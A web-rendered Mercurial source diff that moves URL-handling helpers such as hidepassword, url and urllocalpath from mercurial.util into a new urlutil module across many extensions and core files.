Show More
@@ -19,9 +19,11 b' from mercurial import (' | |||
|
19 | 19 | lock, |
|
20 | 20 | pycompat, |
|
21 | 21 | registrar, |
|
22 | util, | |
|
23 | 22 | ) |
|
24 |
from mercurial.utils import |
|
|
23 | from mercurial.utils import ( | |
|
24 | dateutil, | |
|
25 | urlutil, | |
|
26 | ) | |
|
25 | 27 | |
|
26 | 28 | release = lock.release |
|
27 | 29 | cmdtable = {} |
@@ -109,7 +111,8 b" def fetch(ui, repo, source=b'default', *" | |||
|
109 | 111 | |
|
110 | 112 | other = hg.peer(repo, opts, ui.expandpath(source)) |
|
111 | 113 | ui.status( |
|
112 |
_(b'pulling from %s\n') |
|
|
114 | _(b'pulling from %s\n') | |
|
115 | % urlutil.hidepassword(ui.expandpath(source)) | |
|
113 | 116 | ) |
|
114 | 117 | revs = None |
|
115 | 118 | if opts[b'rev']: |
@@ -180,7 +183,7 b" def fetch(ui, repo, source=b'default', *" | |||
|
180 | 183 | if not err: |
|
181 | 184 | # we don't translate commit messages |
|
182 | 185 | message = cmdutil.logmessage(ui, opts) or ( |
|
183 | b'Automated merge with %s' % util.removeauth(other.url()) | |
|
186 | b'Automated merge with %s' % urlutil.removeauth(other.url()) | |
|
184 | 187 | ) |
|
185 | 188 | editopt = opts.get(b'edit') or opts.get(b'force_editor') |
|
186 | 189 | editor = cmdutil.getcommiteditor(edit=editopt, editform=b'fetch') |
@@ -242,6 +242,7 b' from mercurial import (' | |||
|
242 | 242 | from mercurial.utils import ( |
|
243 | 243 | dateutil, |
|
244 | 244 | stringutil, |
|
245 | urlutil, | |
|
245 | 246 | ) |
|
246 | 247 | |
|
247 | 248 | pickle = util.pickle |
@@ -1042,7 +1043,7 b' def findoutgoing(ui, repo, remote=None, ' | |||
|
1042 | 1043 | opts = {} |
|
1043 | 1044 | dest = ui.expandpath(remote or b'default-push', remote or b'default') |
|
1044 | 1045 | dest, branches = hg.parseurl(dest, None)[:2] |
|
1045 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) | |
|
1046 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
|
1046 | 1047 | |
|
1047 | 1048 | revs, checkout = hg.addbranchrevs(repo, repo, branches, None) |
|
1048 | 1049 | other = hg.peer(repo, opts, dest) |
@@ -12,6 +12,9 b' from __future__ import absolute_import' | |||
|
12 | 12 | from mercurial.i18n import _ |
|
13 | 13 | |
|
14 | 14 | from mercurial import node, util |
|
15 | from mercurial.utils import ( | |
|
16 | urlutil, | |
|
17 | ) | |
|
15 | 18 | |
|
16 | 19 | from . import lfutil |
|
17 | 20 | |
@@ -29,13 +32,13 b' class StoreError(Exception):' | |||
|
29 | 32 | def longmessage(self): |
|
30 | 33 | return _(b"error getting id %s from url %s for file %s: %s\n") % ( |
|
31 | 34 | self.hash, |
|
32 | util.hidepassword(self.url), | |
|
35 | urlutil.hidepassword(self.url), | |
|
33 | 36 | self.filename, |
|
34 | 37 | self.detail, |
|
35 | 38 | ) |
|
36 | 39 | |
|
37 | 40 | def __str__(self): |
|
38 | return b"%s: %s" % (util.hidepassword(self.url), self.detail) | |
|
41 | return b"%s: %s" % (urlutil.hidepassword(self.url), self.detail) | |
|
39 | 42 | |
|
40 | 43 | |
|
41 | 44 | class basestore(object): |
@@ -79,7 +82,7 b' class basestore(object):' | |||
|
79 | 82 | if not available.get(hash): |
|
80 | 83 | ui.warn( |
|
81 | 84 | _(b'%s: largefile %s not available from %s\n') |
|
82 | % (filename, hash, util.hidepassword(self.url)) | |
|
85 | % (filename, hash, urlutil.hidepassword(self.url)) | |
|
83 | 86 | ) |
|
84 | 87 | missing.append(filename) |
|
85 | 88 | continue |
@@ -15,7 +15,10 b' from mercurial import (' | |||
|
15 | 15 | util, |
|
16 | 16 | ) |
|
17 | 17 | |
|
18 |
from mercurial.utils import |
|
|
18 | from mercurial.utils import ( | |
|
19 | stringutil, | |
|
20 | urlutil, | |
|
21 | ) | |
|
19 | 22 | |
|
20 | 23 | from . import ( |
|
21 | 24 | basestore, |
@@ -40,11 +43,11 b' class remotestore(basestore.basestore):' | |||
|
40 | 43 | if self.sendfile(source, hash): |
|
41 | 44 | raise error.Abort( |
|
42 | 45 | _(b'remotestore: could not put %s to remote store %s') |
|
43 | % (source, util.hidepassword(self.url)) | |
|
46 | % (source, urlutil.hidepassword(self.url)) | |
|
44 | 47 | ) |
|
45 | 48 | self.ui.debug( |
|
46 | 49 | _(b'remotestore: put %s to remote store %s\n') |
|
47 | % (source, util.hidepassword(self.url)) | |
|
50 | % (source, urlutil.hidepassword(self.url)) | |
|
48 | 51 | ) |
|
49 | 52 | |
|
50 | 53 | def exists(self, hashes): |
@@ -80,7 +83,7 b' class remotestore(basestore.basestore):' | |||
|
80 | 83 | # keep trying with the other files... they will probably |
|
81 | 84 | # all fail too. |
|
82 | 85 | raise error.Abort( |
|
83 | b'%s: %s' % (util.hidepassword(self.url), e.reason) | |
|
86 | b'%s: %s' % (urlutil.hidepassword(self.url), e.reason) | |
|
84 | 87 | ) |
|
85 | 88 | except IOError as e: |
|
86 | 89 | raise basestore.StoreError( |
@@ -12,6 +12,9 b' from mercurial import (' | |||
|
12 | 12 | hg, |
|
13 | 13 | util, |
|
14 | 14 | ) |
|
15 | from mercurial.utils import ( | |
|
16 | urlutil, | |
|
17 | ) | |
|
15 | 18 | |
|
16 | 19 | from . import ( |
|
17 | 20 | lfutil, |
@@ -71,7 +74,7 b' def openstore(repo=None, remote=None, pu' | |||
|
71 | 74 | |
|
72 | 75 | raise error.Abort( |
|
73 | 76 | _(b'%s does not appear to be a largefile store') |
|
74 | % util.hidepassword(path) | |
|
77 | % urlutil.hidepassword(path) | |
|
75 | 78 | ) |
|
76 | 79 | |
|
77 | 80 |
@@ -31,7 +31,10 b' from mercurial import (' | |||
|
31 | 31 | worker, |
|
32 | 32 | ) |
|
33 | 33 | |
|
34 |
from mercurial.utils import |
|
|
34 | from mercurial.utils import ( | |
|
35 | stringutil, | |
|
36 | urlutil, | |
|
37 | ) | |
|
35 | 38 | |
|
36 | 39 | from ..largefiles import lfutil |
|
37 | 40 | |
@@ -725,7 +728,7 b' def remote(repo, remote=None):' | |||
|
725 | 728 | https://github.com/git-lfs/git-lfs/blob/master/docs/api/server-discovery.md |
|
726 | 729 | """ |
|
727 | 730 | lfsurl = repo.ui.config(b'lfs', b'url') |
|
728 | url = util.url(lfsurl or b'') | |
|
731 | url = urlutil.url(lfsurl or b'') | |
|
729 | 732 | if lfsurl is None: |
|
730 | 733 | if remote: |
|
731 | 734 | path = remote |
@@ -739,7 +742,7 b' def remote(repo, remote=None):' | |||
|
739 | 742 | # and fall back to inferring from 'paths.remote' if unspecified. |
|
740 | 743 | path = repo.ui.config(b'paths', b'default') or b'' |
|
741 | 744 | |
|
742 | defaulturl = util.url(path) | |
|
745 | defaulturl = urlutil.url(path) | |
|
743 | 746 | |
|
744 | 747 | # TODO: support local paths as well. |
|
745 | 748 | # TODO: consider the ssh -> https transformation that git applies |
@@ -748,7 +751,7 b' def remote(repo, remote=None):' | |||
|
748 | 751 | defaulturl.path += b'/' |
|
749 | 752 | defaulturl.path = (defaulturl.path or b'') + b'.git/info/lfs' |
|
750 | 753 | |
|
751 | url = util.url(bytes(defaulturl)) | |
|
754 | url = urlutil.url(bytes(defaulturl)) | |
|
752 | 755 | repo.ui.note(_(b'lfs: assuming remote store: %s\n') % url) |
|
753 | 756 | |
|
754 | 757 | scheme = url.scheme |
@@ -108,6 +108,7 b' from mercurial import (' | |||
|
108 | 108 | from mercurial.utils import ( |
|
109 | 109 | dateutil, |
|
110 | 110 | stringutil, |
|
111 | urlutil, | |
|
111 | 112 | ) |
|
112 | 113 | |
|
113 | 114 | release = lockmod.release |
@@ -2509,7 +2510,7 b' class queue(object):' | |||
|
2509 | 2510 | ) |
|
2510 | 2511 | filename = normname(filename) |
|
2511 | 2512 | self.checkreservedname(filename) |
|
2512 | if util.url(filename).islocal(): | |
|
2513 | if urlutil.url(filename).islocal(): | |
|
2513 | 2514 | originpath = self.join(filename) |
|
2514 | 2515 | if not os.path.isfile(originpath): |
|
2515 | 2516 | raise error.Abort( |
@@ -36,6 +36,9 b' from mercurial import (' | |||
|
36 | 36 | util, |
|
37 | 37 | wireprototypes, |
|
38 | 38 | ) |
|
39 | from mercurial.utils import ( | |
|
40 | urlutil, | |
|
41 | ) | |
|
39 | 42 | |
|
40 | 43 | table = {} |
|
41 | 44 | command = registrar.command(table) |
@@ -592,7 +595,7 b' def trackedcmd(ui, repo, remotepath=None' | |||
|
592 | 595 | # also define the set of revisions to update for widening. |
|
593 | 596 | remotepath = ui.expandpath(remotepath or b'default') |
|
594 | 597 | url, branches = hg.parseurl(remotepath) |
|
595 | ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) | |
|
598 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url)) | |
|
596 | 599 | remote = hg.peer(repo, opts, url) |
|
597 | 600 | |
|
598 | 601 | try: |
@@ -99,7 +99,10 b' from mercurial import (' | |||
|
99 | 99 | templater, |
|
100 | 100 | util, |
|
101 | 101 | ) |
|
102 |
from mercurial.utils import |
|
|
102 | from mercurial.utils import ( | |
|
103 | dateutil, | |
|
104 | urlutil, | |
|
105 | ) | |
|
103 | 106 | |
|
104 | 107 | stringio = util.stringio |
|
105 | 108 | |
@@ -529,7 +532,7 b' def _getoutgoing(repo, dest, revs):' | |||
|
529 | 532 | ui = repo.ui |
|
530 | 533 | url = ui.expandpath(dest or b'default-push', dest or b'default') |
|
531 | 534 | url = hg.parseurl(url)[0] |
|
532 | ui.status(_(b'comparing with %s\n') % util.hidepassword(url)) | |
|
535 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(url)) | |
|
533 | 536 | |
|
534 | 537 | revs = [r for r in revs if r >= 0] |
|
535 | 538 | if not revs: |
@@ -103,6 +103,7 b' from mercurial import (' | |||
|
103 | 103 | from mercurial.utils import ( |
|
104 | 104 | procutil, |
|
105 | 105 | stringutil, |
|
106 | urlutil, | |
|
106 | 107 | ) |
|
107 | 108 | from . import show |
|
108 | 109 | |
@@ -366,7 +367,7 b' def urlencodenested(params):' | |||
|
366 | 367 | process(k, v) |
|
367 | 368 | |
|
368 | 369 | process(b'', params) |
|
369 | return util.urlreq.urlencode(flatparams) | |
|
370 | return urlutil.urlreq.urlencode(flatparams) | |
|
370 | 371 | |
|
371 | 372 | |
|
372 | 373 | def readurltoken(ui): |
@@ -381,7 +382,7 b' def readurltoken(ui):' | |||
|
381 | 382 | _(b'config %s.%s is required') % (b'phabricator', b'url') |
|
382 | 383 | ) |
|
383 | 384 | |
|
384 | res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user) | |
|
385 | res = httpconnectionmod.readauthforuri(ui, url, urlutil.url(url).user) | |
|
385 | 386 | token = None |
|
386 | 387 | |
|
387 | 388 | if res: |
@@ -52,7 +52,9 b' from mercurial import (' | |||
|
52 | 52 | pycompat, |
|
53 | 53 | registrar, |
|
54 | 54 | templater, |
|
55 | util, | |
|
55 | ) | |
|
56 | from mercurial.utils import ( | |
|
57 | urlutil, | |
|
56 | 58 | ) |
|
57 | 59 | |
|
58 | 60 | cmdtable = {} |
@@ -86,7 +88,7 b' class ShortRepository(object):' | |||
|
86 | 88 | ) |
|
87 | 89 | |
|
88 | 90 | def resolve(self, url): |
|
89 | # Should this use the util.url class, or is manual parsing better? | |
|
91 | # Should this use the urlutil.url class, or is manual parsing better? | |
|
90 | 92 | try: |
|
91 | 93 | url = url.split(b'://', 1)[1] |
|
92 | 94 | except IndexError: |
@@ -137,7 +139,7 b' def extsetup(ui):' | |||
|
137 | 139 | ) |
|
138 | 140 | hg.schemes[scheme] = ShortRepository(url, scheme, t) |
|
139 | 141 | |
|
140 | extensions.wrapfunction(util, b'hasdriveletter', hasdriveletter) | |
|
142 | extensions.wrapfunction(urlutil, b'hasdriveletter', hasdriveletter) | |
|
141 | 143 | |
|
142 | 144 | |
|
143 | 145 | @command(b'debugexpandscheme', norepo=True) |
@@ -27,6 +27,9 b' from . import (' | |||
|
27 | 27 | txnutil, |
|
28 | 28 | util, |
|
29 | 29 | ) |
|
30 | from .utils import ( | |
|
31 | urlutil, | |
|
32 | ) | |
|
30 | 33 | |
|
31 | 34 | # label constants |
|
32 | 35 | # until 3.5, bookmarks.current was the advertised name, not |
@@ -597,10 +600,10 b' def _diverge(ui, b, path, localmarks, re' | |||
|
597 | 600 | # try to use an @pathalias suffix |
|
598 | 601 | # if an @pathalias already exists, we overwrite (update) it |
|
599 | 602 | if path.startswith(b"file:"): |
|
600 | path = util.url(path).path | |
|
603 | path = urlutil.url(path).path | |
|
601 | 604 | for p, u in ui.configitems(b"paths"): |
|
602 | 605 | if u.startswith(b"file:"): |
|
603 | u = util.url(u).path | |
|
606 | u = urlutil.url(u).path | |
|
604 | 607 | if path == u: |
|
605 | 608 | return b'%s@%s' % (b, p) |
|
606 | 609 |
@@ -177,7 +177,10 b' from . import (' | |||
|
177 | 177 | url, |
|
178 | 178 | util, |
|
179 | 179 | ) |
|
180 |
from .utils import |
|
|
180 | from .utils import ( | |
|
181 | stringutil, | |
|
182 | urlutil, | |
|
183 | ) | |
|
181 | 184 | |
|
182 | 185 | urlerr = util.urlerr |
|
183 | 186 | urlreq = util.urlreq |
@@ -2073,7 +2076,7 b' def handleremotechangegroup(op, inpart):' | |||
|
2073 | 2076 | raw_url = inpart.params[b'url'] |
|
2074 | 2077 | except KeyError: |
|
2075 | 2078 | raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url') |
|
2076 | parsed_url = util.url(raw_url) | |
|
2079 | parsed_url = urlutil.url(raw_url) | |
|
2077 | 2080 | if parsed_url.scheme not in capabilities[b'remote-changegroup']: |
|
2078 | 2081 | raise error.Abort( |
|
2079 | 2082 | _(b'remote-changegroup does not support %s urls') |
@@ -2110,7 +2113,7 b' def handleremotechangegroup(op, inpart):' | |||
|
2110 | 2113 | cg = exchange.readbundle(op.repo.ui, real_part, raw_url) |
|
2111 | 2114 | if not isinstance(cg, changegroup.cg1unpacker): |
|
2112 | 2115 | raise error.Abort( |
|
2113 | _(b'%s: not a bundle version 1.0') % util.hidepassword(raw_url) | |
|
2116 | _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url) | |
|
2114 | 2117 | ) |
|
2115 | 2118 | ret = _processchangegroup(op, cg, tr, op.source, b'bundle2') |
|
2116 | 2119 | if op.reply is not None: |
@@ -2126,7 +2129,7 b' def handleremotechangegroup(op, inpart):' | |||
|
2126 | 2129 | except error.Abort as e: |
|
2127 | 2130 | raise error.Abort( |
|
2128 | 2131 | _(b'bundle at %s is corrupted:\n%s') |
|
2129 | % (util.hidepassword(raw_url), e.message) | |
|
2132 | % (urlutil.hidepassword(raw_url), e.message) | |
|
2130 | 2133 | ) |
|
2131 | 2134 | assert not inpart.read() |
|
2132 | 2135 |
@@ -43,6 +43,9 b' from . import (' | |||
|
43 | 43 | util, |
|
44 | 44 | vfs as vfsmod, |
|
45 | 45 | ) |
|
46 | from .utils import ( | |
|
47 | urlutil, | |
|
48 | ) | |
|
46 | 49 | |
|
47 | 50 | |
|
48 | 51 | class bundlerevlog(revlog.revlog): |
@@ -475,7 +478,7 b' def instance(ui, path, create, intents=N' | |||
|
475 | 478 | cwd = pathutil.normasprefix(cwd) |
|
476 | 479 | if parentpath.startswith(cwd): |
|
477 | 480 | parentpath = parentpath[len(cwd) :] |
|
478 | u = util.url(path) | |
|
481 | u = urlutil.url(path) | |
|
479 | 482 | path = u.localpath() |
|
480 | 483 | if u.scheme == b'bundle': |
|
481 | 484 | s = path.split(b"+", 1) |
@@ -74,6 +74,7 b' from . import (' | |||
|
74 | 74 | from .utils import ( |
|
75 | 75 | dateutil, |
|
76 | 76 | stringutil, |
|
77 | urlutil, | |
|
77 | 78 | ) |
|
78 | 79 | |
|
79 | 80 | if pycompat.TYPE_CHECKING: |
@@ -4319,7 +4320,7 b' def incoming(ui, repo, source=b"default"' | |||
|
4319 | 4320 | ui.warn(_(b"remote doesn't support bookmarks\n")) |
|
4320 | 4321 | return 0 |
|
4321 | 4322 | ui.pager(b'incoming') |
|
4322 | ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) | |
|
4323 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source)) | |
|
4323 | 4324 | return bookmarks.incoming(ui, repo, other) |
|
4324 | 4325 | finally: |
|
4325 | 4326 | other.close() |
@@ -4994,7 +4995,7 b' def outgoing(ui, repo, dest=None, **opts' | |||
|
4994 | 4995 | if b'bookmarks' not in other.listkeys(b'namespaces'): |
|
4995 | 4996 | ui.warn(_(b"remote doesn't support bookmarks\n")) |
|
4996 | 4997 | return 0 |
|
4997 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) | |
|
4998 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
|
4998 | 4999 | ui.pager(b'outgoing') |
|
4999 | 5000 | return bookmarks.outgoing(ui, repo, other) |
|
5000 | 5001 | finally: |
@@ -5142,7 +5143,7 b' def paths(ui, repo, search=None, **opts)' | |||
|
5142 | 5143 | |
|
5143 | 5144 | fm = ui.formatter(b'paths', opts) |
|
5144 | 5145 | if fm.isplain(): |
|
5145 | hidepassword = util.hidepassword | |
|
5146 | hidepassword = urlutil.hidepassword | |
|
5146 | 5147 | else: |
|
5147 | 5148 | hidepassword = bytes |
|
5148 | 5149 | if ui.quiet: |
@@ -5392,7 +5393,7 b' def pull(ui, repo, *sources, **opts):' | |||
|
5392 | 5393 | source, branches = hg.parseurl( |
|
5393 | 5394 | ui.expandpath(source), opts.get(b'branch') |
|
5394 | 5395 | ) |
|
5395 | ui.status(_(b'pulling from %s\n') % util.hidepassword(source)) | |
|
5396 | ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source)) | |
|
5396 | 5397 | ui.flush() |
|
5397 | 5398 | other = hg.peer(repo, opts, source) |
|
5398 | 5399 | update_conflict = None |
@@ -5732,7 +5733,7 b' def push(ui, repo, *dests, **opts):' | |||
|
5732 | 5733 | ) |
|
5733 | 5734 | dest = path.pushloc or path.loc |
|
5734 | 5735 | branches = (path.branch, opts.get(b'branch') or []) |
|
5735 | ui.status(_(b'pushing to %s\n') % util.hidepassword(dest)) | |
|
5736 | ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest)) | |
|
5736 | 5737 | revs, checkout = hg.addbranchrevs( |
|
5737 | 5738 | repo, repo, branches, opts.get(b'rev') |
|
5738 | 5739 | ) |
@@ -7235,7 +7236,7 b' def summary(ui, repo, **opts):' | |||
|
7235 | 7236 | revs, checkout = hg.addbranchrevs(repo, other, branches, None) |
|
7236 | 7237 | if revs: |
|
7237 | 7238 | revs = [other.lookup(rev) for rev in revs] |
|
7238 | ui.debug(b'comparing with %s\n' % util.hidepassword(source)) | |
|
7239 | ui.debug(b'comparing with %s\n' % urlutil.hidepassword(source)) | |
|
7239 | 7240 | repo.ui.pushbuffer() |
|
7240 | 7241 | commoninc = discovery.findcommonincoming(repo, other, heads=revs) |
|
7241 | 7242 | repo.ui.popbuffer() |
@@ -7257,7 +7258,7 b' def summary(ui, repo, **opts):' | |||
|
7257 | 7258 | if opts.get(b'remote'): |
|
7258 | 7259 | raise |
|
7259 | 7260 | return dest, dbranch, None, None |
|
7260 | ui.debug(b'comparing with %s\n' % util.hidepassword(dest)) | |
|
7261 | ui.debug(b'comparing with %s\n' % urlutil.hidepassword(dest)) | |
|
7261 | 7262 | elif sother is None: |
|
7262 | 7263 | # there is no explicit destination peer, but source one is invalid |
|
7263 | 7264 | return dest, dbranch, None, None |
@@ -7599,7 +7600,7 b' def unbundle(ui, repo, fname1, *fnames, ' | |||
|
7599 | 7600 | try: |
|
7600 | 7601 | txnname = b'unbundle' |
|
7601 | 7602 | if not isinstance(gen, bundle2.unbundle20): |
|
7602 | txnname = b'unbundle\n%s' % util.hidepassword(url) | |
|
7603 | txnname = b'unbundle\n%s' % urlutil.hidepassword(url) | |
|
7603 | 7604 | with repo.transaction(txnname) as tr: |
|
7604 | 7605 | op = bundle2.applybundle( |
|
7605 | 7606 | repo, gen, tr, source=b'unbundle', url=url |
@@ -98,6 +98,7 b' from .utils import (' | |||
|
98 | 98 | dateutil, |
|
99 | 99 | procutil, |
|
100 | 100 | stringutil, |
|
101 | urlutil, | |
|
101 | 102 | ) |
|
102 | 103 | |
|
103 | 104 | from .revlogutils import ( |
@@ -1061,7 +1062,7 b' def debugdiscovery(ui, repo, remoteurl=b' | |||
|
1061 | 1062 | |
|
1062 | 1063 | remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl)) |
|
1063 | 1064 | remote = hg.peer(repo, opts, remoteurl) |
|
1064 | ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl)) | |
|
1065 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(remoteurl)) | |
|
1065 | 1066 | else: |
|
1066 | 1067 | branches = (None, []) |
|
1067 | 1068 | remote_filtered_revs = scmutil.revrange( |
@@ -3652,7 +3653,7 b' def debugssl(ui, repo, source=None, **op' | |||
|
3652 | 3653 | source = b"default" |
|
3653 | 3654 | |
|
3654 | 3655 | source, branches = hg.parseurl(ui.expandpath(source)) |
|
3655 | url = util.url(source) | |
|
3656 | url = urlutil.url(source) | |
|
3656 | 3657 | |
|
3657 | 3658 | defaultport = {b'https': 443, b'ssh': 22} |
|
3658 | 3659 | if url.scheme in defaultport: |
@@ -4525,7 +4526,7 b' def debugwireproto(ui, repo, path=None, ' | |||
|
4525 | 4526 | # We bypass hg.peer() so we can proxy the sockets. |
|
4526 | 4527 | # TODO consider not doing this because we skip |
|
4527 | 4528 | # ``hg.wirepeersetupfuncs`` and potentially other useful functionality. |
|
4528 | u = util.url(path) | |
|
4529 | u = urlutil.url(path) | |
|
4529 | 4530 | if u.scheme != b'http': |
|
4530 | 4531 | raise error.Abort(_(b'only http:// paths are currently supported')) |
|
4531 | 4532 |
@@ -42,6 +42,7 b' from . import (' | |||
|
42 | 42 | from .utils import ( |
|
43 | 43 | hashutil, |
|
44 | 44 | stringutil, |
|
45 | urlutil, | |
|
45 | 46 | ) |
|
46 | 47 | |
|
47 | 48 | urlerr = util.urlerr |
@@ -1465,7 +1466,7 b' class transactionmanager(util.transactio' | |||
|
1465 | 1466 | def transaction(self): |
|
1466 | 1467 | """Return an open transaction object, constructing if necessary""" |
|
1467 | 1468 | if not self._tr: |
|
1468 | trname = b'%s\n%s' % (self.source, util.hidepassword(self.url)) | |
|
1469 | trname = b'%s\n%s' % (self.source, urlutil.hidepassword(self.url)) | |
|
1469 | 1470 | self._tr = self.repo.transaction(trname) |
|
1470 | 1471 | self._tr.hookargs[b'source'] = self.source |
|
1471 | 1472 | self._tr.hookargs[b'url'] = self.url |
@@ -2647,7 +2648,7 b' def unbundle(repo, cg, heads, source, ur' | |||
|
2647 | 2648 | # push can proceed |
|
2648 | 2649 | if not isinstance(cg, bundle2.unbundle20): |
|
2649 | 2650 | # legacy case: bundle1 (changegroup 01) |
|
2650 | txnname = b"\n".join([source, util.hidepassword(url)]) | |
|
2651 | txnname = b"\n".join([source, urlutil.hidepassword(url)]) | |
|
2651 | 2652 | with repo.lock(), repo.transaction(txnname) as tr: |
|
2652 | 2653 | op = bundle2.applybundle(repo, cg, tr, source, url) |
|
2653 | 2654 | r = bundle2.combinechangegroupresults(op) |
@@ -55,6 +55,7 b' from . import (' | |||
|
55 | 55 | from .utils import ( |
|
56 | 56 | hashutil, |
|
57 | 57 | stringutil, |
|
58 | urlutil, | |
|
58 | 59 | ) |
|
59 | 60 | |
|
60 | 61 | |
@@ -65,7 +66,7 b" sharedbookmarks = b'bookmarks'" | |||
|
65 | 66 | |
|
66 | 67 | |
|
67 | 68 | def _local(path): |
|
68 | path = util.expandpath(util.urllocalpath(path)) | |
|
69 | path = util.expandpath(urlutil.urllocalpath(path)) | |
|
69 | 70 | |
|
70 | 71 | try: |
|
71 | 72 | # we use os.stat() directly here instead of os.path.isfile() |
@@ -132,7 +133,7 b' def addbranchrevs(lrepo, other, branches' | |||
|
132 | 133 | def parseurl(path, branches=None): |
|
133 | 134 | '''parse url#branch, returning (url, (branch, branches))''' |
|
134 | 135 | |
|
135 | u = util.url(path) | |
|
136 | u = urlutil.url(path) | |
|
136 | 137 | branch = None |
|
137 | 138 | if u.fragment: |
|
138 | 139 | branch = u.fragment |
@@ -152,7 +153,7 b' schemes = {' | |||
|
152 | 153 | |
|
153 | 154 | |
|
154 | 155 | def _peerlookup(path): |
|
155 | u = util.url(path) | |
|
156 | u = urlutil.url(path) | |
|
156 | 157 | scheme = u.scheme or b'file' |
|
157 | 158 | thing = schemes.get(scheme) or schemes[b'file'] |
|
158 | 159 | try: |
@@ -177,7 +178,7 b' def islocal(repo):' | |||
|
177 | 178 | |
|
178 | 179 | def openpath(ui, path, sendaccept=True): |
|
179 | 180 | '''open path with open if local, url.open if remote''' |
|
180 | pathurl = util.url(path, parsequery=False, parsefragment=False) | |
|
181 | pathurl = urlutil.url(path, parsequery=False, parsefragment=False) | |
|
181 | 182 | if pathurl.islocal(): |
|
182 | 183 | return util.posixfile(pathurl.localpath(), b'rb') |
|
183 | 184 | else: |
@@ -265,7 +266,7 b' def defaultdest(source):' | |||
|
265 | 266 | >>> defaultdest(b'http://example.org/foo/') |
|
266 | 267 | 'foo' |
|
267 | 268 | """ |
|
268 | path = util.url(source).path | |
|
269 | path = urlutil.url(source).path | |
|
269 | 270 | if not path: |
|
270 | 271 | return b'' |
|
271 | 272 | return os.path.basename(os.path.normpath(path)) |
@@ -571,7 +572,7 b' def clonewithshare(' | |||
|
571 | 572 | |
|
572 | 573 | # Resolve the value to put in [paths] section for the source. |
|
573 | 574 | if islocal(source): |
|
574 | defaultpath = os.path.abspath(util.urllocalpath(source)) | |
|
575 | defaultpath = os.path.abspath(urlutil.urllocalpath(source)) | |
|
575 | 576 | else: |
|
576 | 577 | defaultpath = source |
|
577 | 578 | |
@@ -693,8 +694,8 b' def clone(' | |||
|
693 | 694 | else: |
|
694 | 695 | dest = ui.expandpath(dest) |
|
695 | 696 | |
|
696 | dest = util.urllocalpath(dest) | |
|
697 | source = util.urllocalpath(source) | |
|
697 | dest = urlutil.urllocalpath(dest) | |
|
698 | source = urlutil.urllocalpath(source) | |
|
698 | 699 | |
|
699 | 700 | if not dest: |
|
700 | 701 | raise error.InputError(_(b"empty destination path is not valid")) |
@@ -825,7 +826,7 b' def clone(' | |||
|
825 | 826 | |
|
826 | 827 | abspath = origsource |
|
827 | 828 | if islocal(origsource): |
|
828 | abspath = os.path.abspath(util.urllocalpath(origsource)) | |
|
829 | abspath = os.path.abspath(urlutil.urllocalpath(origsource)) | |
|
829 | 830 | |
|
830 | 831 | if islocal(dest): |
|
831 | 832 | cleandir = dest |
@@ -939,7 +940,7 b' def clone(' | |||
|
939 | 940 | local.setnarrowpats(storeincludepats, storeexcludepats) |
|
940 | 941 | narrowspec.copytoworkingcopy(local) |
|
941 | 942 | |
|
942 | u = util.url(abspath) | |
|
943 | u = urlutil.url(abspath) | |
|
943 | 944 | defaulturl = bytes(u) |
|
944 | 945 | local.ui.setconfig(b'paths', b'default', defaulturl, b'clone') |
|
945 | 946 | if not stream: |
@@ -986,7 +987,7 b' def clone(' | |||
|
986 | 987 | destrepo = destpeer.local() |
|
987 | 988 | if destrepo: |
|
988 | 989 | template = uimod.samplehgrcs[b'cloned'] |
|
989 | u = util.url(abspath) | |
|
990 | u = urlutil.url(abspath) | |
|
990 | 991 | u.passwd = None |
|
991 | 992 | defaulturl = bytes(u) |
|
992 | 993 | destrepo.vfs.write(b'hgrc', util.tonativeeol(template % defaulturl)) |
@@ -1269,7 +1270,7 b' def _incoming(' | |||
|
1269 | 1270 | other = peer(repo, opts, source) |
|
1270 | 1271 | cleanupfn = other.close |
|
1271 | 1272 | try: |
|
1272 | ui.status(_(b'comparing with %s\n') % util.hidepassword(source)) | |
|
1273 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(source)) | |
|
1273 | 1274 | revs, checkout = addbranchrevs(repo, other, branches, opts.get(b'rev')) |
|
1274 | 1275 | |
|
1275 | 1276 | if revs: |
@@ -1330,7 +1331,7 b' def _outgoing(ui, repo, dest, opts):' | |||
|
1330 | 1331 | dest = path.pushloc or path.loc |
|
1331 | 1332 | branches = path.branch, opts.get(b'branch') or [] |
|
1332 | 1333 | |
|
1333 | ui.status(_(b'comparing with %s\n') % util.hidepassword(dest)) | |
|
1334 | ui.status(_(b'comparing with %s\n') % urlutil.hidepassword(dest)) | |
|
1334 | 1335 | revs, checkout = addbranchrevs(repo, repo, branches, opts.get(b'rev')) |
|
1335 | 1336 | if revs: |
|
1336 | 1337 | revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)] |
@@ -17,6 +17,9 b' from .. import (' | |||
|
17 | 17 | pycompat, |
|
18 | 18 | util, |
|
19 | 19 | ) |
|
20 | from ..utils import ( | |
|
21 | urlutil, | |
|
22 | ) | |
|
20 | 23 | |
|
21 | 24 | |
|
22 | 25 | class multidict(object): |
@@ -184,7 +187,7 b' def parserequestfromenv(env, reponame=No' | |||
|
184 | 187 | reponame = env.get(b'REPO_NAME') |
|
185 | 188 | |
|
186 | 189 | if altbaseurl: |
|
187 | altbaseurl = util.url(altbaseurl) | |
|
190 | altbaseurl = urlutil.url(altbaseurl) | |
|
188 | 191 | |
|
189 | 192 | # https://www.python.org/dev/peps/pep-0333/#environ-variables defines |
|
190 | 193 | # the environment variables. |
@@ -28,6 +28,9 b' from .. import (' | |||
|
28 | 28 | pycompat, |
|
29 | 29 | util, |
|
30 | 30 | ) |
|
31 | from ..utils import ( | |
|
32 | urlutil, | |
